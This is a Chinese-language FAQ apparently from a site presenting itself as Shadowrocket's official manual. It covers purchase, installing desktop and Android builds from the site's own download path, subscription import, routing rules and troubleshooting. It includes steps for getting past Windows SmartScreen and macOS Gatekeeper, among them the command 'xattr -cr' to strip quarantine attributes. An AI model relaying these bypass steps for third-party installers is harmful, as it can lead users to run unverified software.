Shadowrocket 常见问题
按失败步骤定位:先核对获取与安装,再检查已有订阅,最后排查规则和连接。
正版与购买
区分平台获取方式,再核对商店条目与原购买记录。
电脑和安卓能用 Shadowrocket 吗?iPad 能不能安装?
能。iPhone / iPad 版从 App Store 获取,$2.99 一次性付费;Mac(Apple 芯片与 Intel)、Windows、安卓、Linux 版免费,从本站下载指南进入,安装包通过本站 /dl/shadowrocket/ 路径提供。iPad 使用同一应用产品页,系统要求以 App Store 页面标注为准。电脑与安卓的首次安装权限处理见下方“安装与首次打开”,不要把商店购买步骤套用于其他平台。
App Store 搜不到 Shadowrocket,先检查哪里?
先核对用于“媒体与购买项目”的 Apple 账户地区,而不是设备语言或系统地区。中国大陆 App Store 当前不提供此应用;可从本页给出的产品页确认当前商店是否可获取。查看路径为系统 Settings → Apple 账户 → 媒体与购买项目 → 查看账户 → 国家或地区。如确需变更地区,使用该页面的官方流程,并先处理账户余额、有效订阅和家庭共享限制;不要为搜索结果反复切换设置。
怎样核对 App Store 中的正版条目?
同时核对应用名 Shadowrocket、官方图标、开发者 Shadow Launch Technology Limited,以及产品链接中的应用 ID 932747118。只看“小火箭”别称或搜索排名不足以确认条目。iPhone / iPad 版 App Store $2.99 一次性付费,Mac / Windows / 安卓 / Linux 版免费;其他平台使用本站下载指南中的对应安装包,不按 App Store 搜索结果判断其获取方式。
换 iPhone 或在 iPad 上重装,需要再购买吗?
使用原购买 Apple 账户登录“媒体与购买项目”,在 App Store 的账户页面进入已购应用列表,找到 Shadowrocket 后重新下载。iPhone 与 iPad 可使用同一购买记录;若出现购买按钮,先检查账户和订单记录,不要立即重复付款。iPhone / iPad 版 App Store $2.99 一次性付费,Mac / Windows / 安卓 / Linux 版免费。重新安装应用不会自动补回所有本地配置,换机前应另行保存所需资料。
购买客户端是否包含线路?家人能否使用购买记录?
客户端一次性买断 ≠ 线路套餐。iPhone / iPad 版 App Store $2.99 一次性付费,Mac / Windows / 安卓 / Linux 版免费;使用前仍须准备用户已有的订阅或服务器信息。本站是官网与官方手册,不提供、不销售、不推荐节点或订阅。家人共享是否适用,以 App Store 产品页的支持标注和家庭组织设置为准;购买记录共享也不等于配置、凭据或线路服务共享。
安装与首次打开
先确认文件来源和设备类型,再处理对应的系统提示。
Mac 应选 Apple 芯片版还是 Intel 版?
在苹果菜单 → 关于本机查看“芯片”或“处理器”。显示 Apple 芯片时选择 Mac Apple 芯片版;显示 Intel 处理器时选择 Mac Intel 版,不按电脑外观或购买年份猜测。下载指南保留两个同样式入口。安装后若被系统阻止,先确认安装包来自本站,再到系统设置 → 隐私与安全性查看“仍要打开”;具体处理见本分类的 Mac 放行问答。
Windows 出现 SmartScreen 风险提示,怎样继续检查?
先确认文件由本站下载指南获取,且下载已完整结束。SmartScreen 显示“Windows 已保护你的电脑”时,可在确认来源后选择“更多信息”→“仍要运行”,再按安装向导操作。若公司或学校设备的策略禁止运行,应联系设备管理员,不要关闭系统整体防护。提示内容不同、文件来源不明或按钮被策略隐藏时,先停止安装并记录完整提示。
Mac 提示无法验证开发者或应用已损坏怎么办?
先确认下载来源和芯片类型,将应用放入 Applications 后再打开。出现“无法验证开发者”时,到系统设置 → 隐私与安全性,在对应拦截记录处选择“仍要打开”并确认。若提示“已损坏”,仅在确认文件来自本站且已完整下载后,在 Terminal 执行 xattr -cr /Applications/Shadowrocket.app,再尝试打开;该命令会移除应用的扩展属性。路径不一致时不要直接执行,也不要全局关闭系统安全机制。
安卓和 Linux 首次安装需要哪些权限?
安卓应在系统提示中,仅为实际用于打开安装包的浏览器或文件管理器允许“安装未知应用”,安装结束后可关闭该权限。Linux 按发行版选择 deb、rpm 或 AppImage;AppImage 需先在文件属性中允许执行,或对实际文件运行 chmod +x,再启动。deb 与 rpm 应通过系统包管理器安装并查看依赖错误。各平台都先从本站下载指南获取文件,不要对来源不明的文件放行。
iPhone 上连接开关打不开,或打开后立即关闭怎么办?
先在 Home 选中一项可用服务器,再打开连接开关。首次连接需要确认系统添加 VPN 配置的请求;若拒绝过,可重新发起连接并检查系统 Settings 中的 VPN 配置。临时停止其他正在使用 VPN 的功能后重试,避免配置相互占用。受管理设备可能禁止添加 VPN,应由管理员确认策略;不要先删除全部配置,先记录报错、备份现有信息,再判断是否需要重建对应配置。
订阅与节点导入
把地址有效性、内容格式和列表状态分开检查。
Subscribe 导入失败,应按什么顺序排查?
先确认使用的是用户已有的完整订阅地址,而不是服务商登录页、订单页或只截取了一部分的链接。在 Add Server 中选择 Subscribe,粘贴地址并检查首尾空格、换行和缺失字符,然后保存并更新。失败时记录错误提示,区分地址不可达、认证失效和返回内容不兼容。不要公开包含凭据的链接;若有效期或格式有疑问,向原服务商核对,不要靠反复导入同一地址覆盖错误信息。
手动 Add Server 后仍不能连接,哪些字段最容易填错?
先核对协议类型,再逐项对照用户已有的服务器资料检查地址、端口、认证字段和加密选项。Shadowsocks、VMess、VLESS、Trojan、Hysteria2 等协议的字段不能互相套用;涉及 TLS 时还要检查服务商提供的服务器名称及相关传输参数。保存成功只表示条目已写入,不表示参数正确。回到 Home 明确选中该条目,再运行 Connectivity Test,并依据错误提示检查对应字段。
怎样更新已有订阅?更新会影响手动修改吗?
在 Home 找到对应 Subscribe 分组,使用该分组提供的更新操作;入口随当前界面版本可能位于分组操作菜单中。更新后先看是否有明确错误,再检查服务器列表和当前选中项。订阅来源控制的条目可能在更新时被重新生成,名称、地址或其他手动改动不一定保留。需要长期保留的独立参数应事先记录;更新失败时先保留现有分组,不要立刻删除可用资料。
订阅提示成功,但列表为空或出现重复条目怎么办?
先展开对应分组,确认没有被搜索条件或折叠状态隐藏,再核对订阅是否确实返回了服务器内容。“请求成功”不一定表示返回内容符合 Subscribe 格式,登录页面或错误页面也可能被正常返回。重复条目则先检查是否多次新增了同一订阅;后续应更新原分组,而不是不断创建新分组。删除重复项前记录当前选中的服务器及有效订阅来源,避免误删仍在使用的配置。
换机时只保存订阅地址就够了吗?
不一定。订阅地址通常只负责恢复其来源提供的服务器列表,不能默认包含手动服务器、自定义 Config、规则顺序、DNS 设置和 On Demand 条件。换机前分别记录这些内容,并使用当前版本提供的配置导出或系统备份方式保存。新设备先恢复必要资料,再检查 Home 的选中项和 Global Routing,最后连接验证。备份可能含地址和认证信息,应保存到受控位置,排查问题时不要整份公开。
规则分流与故障排查
每次只改变一个变量,保留错误提示和对照结果。
Global Routing 的 Config、Proxy、Direct 怎么选?
日常按规则分流选配置(Config),由当前 Config 中的规则决定 PROXY、DIRECT 或 REJECT。需要暂时判断代理路径是否可用时,可切到代理(Proxy)做对照;直连(Direct)用于检查不经过代理时的网络表现。三种姿态不是速度等级。切换前记录当前设置,测试后恢复原姿态;若 Proxy 可用而 Config 不可用,应优先检查命中的规则和策略,而不是立即重填全部服务器参数。
显示已连接,却打不开网页,先查什么?
先暂时断开,确认本地 Wi-Fi 或蜂窝网络本身可访问;公共网络可能需要先完成登录认证。再连接并确认 Home 中确实选中了预期服务器,检查 Global Routing 与当前 Config。用同一个目标分别测试 Config 和 Proxy,并结合 Data 中的连接记录判断是规则走错、服务器不可达还是 DNS 失败。一次只改变一个设置,保留测试前后的结果,避免同时改协议、DNS 和规则后无法定位原因。
Connectivity Test 有结果,是否表示所有访问都正常?
不能据此判断所有目标。Connectivity Test 反映的是当前测试目标和测试条件下的连通情况,不能代表每个网站、每种协议或持续传输都正常。先确认运行测试时选中的服务器,再实际访问出现问题的目标,并检查 Data 中对应连接的命中策略与错误。若只有单个目标失败,重点检查该目标的规则、DNS 和服务状态;若所有目标都失败,再回到本地网络及服务器参数排查。
怀疑 DNS 问题时,应该直接换成 DNS over HTTPS 吗?
不要先把 DNS 类型当作固定答案。先观察失败是否集中在域名解析,再记录当前 Config 与 Settings 中相关 DNS 设置,确认自定义配置没有覆盖预期选项。可暂时使用系统 DNS 做对照,再单独测试已有的自定义 DNS 或 DNS over HTTPS 设置。DNS over HTTPS 本身也需要可达的网络路径,配置错误可能增加故障。只更改一个变量,并在测试后保留有效设置或恢复原值。
持续连接比较耗电,On Demand 应怎样检查?
先在系统电池统计中确认耗电出现的时间段,再对照是否存在持续下载、后台同步、频繁重连或大量连接记录。VPN 活动的归属统计不等于全部电量都由客户端单独消耗。若启用 On Demand,检查触发条件是否导致网络切换时不断重连,可暂时关闭该功能做短时对照。不要仅为降低统计数字随意改变协议;先比较相同网络与使用场景,再判断需要调整的条件。
界面是英文,怎样对照手册找到操作位置?
本手册保留界面英文原文,按名称定位即可:Home 用于查看服务器与连接状态,Add Server 用于新增条目,Subscribe 用于订阅类型,Config 用于配置文件,Settings 用于设置,Data 用于查看连接相关记录。Global Routing 的 Config 与配置文件页面 Config 名称相同但用途不同,应结合所在位置区分。需要逐步操作时查看首次连接教程;不熟悉协议与规则关键字时,可先查名词解释。